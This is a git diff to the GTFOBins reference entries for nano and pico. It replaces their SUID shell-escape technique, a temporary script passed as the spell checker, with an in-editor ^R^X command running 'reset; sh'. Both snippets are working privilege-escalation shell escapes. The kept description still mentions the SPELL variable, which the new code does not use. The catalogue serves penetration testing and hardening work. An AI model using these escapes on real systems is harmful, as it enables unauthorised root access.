diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md index 4f0d95d..4c008a4 100644 --- a/_gtfobins/nano.md +++ b/_gtfobins/nano.md @@ -20,12 +20,9 @@ functions: suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - TF=$(mktemp) - echo '#!/bin/sh -p - exec sh -p' > $TF - chmod +x $TF - ./nano -s $TF /etc/hosts - ^T + ./nano + ^R^X + reset; sh 1>&0 2>&0 sudo: - code: | sudo nano diff --git a/_gtfobins/pico.md b/_gtfobins/pico.md index 1338878..f88f26d 100644 --- a/_gtfobins/pico.md +++ b/_gtfobins/pico.md @@ -20,12 +20,9 @@ functions: suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - TF=$(mktemp) - echo '#!/bin/sh -p - exec sh -p' > $TF - chmod +x $TF - ./pico -s $TF /etc/hosts - ^T + ./pico + ^R^X + reset; sh 1>&0 2>&0 sudo: - code: | sudo pico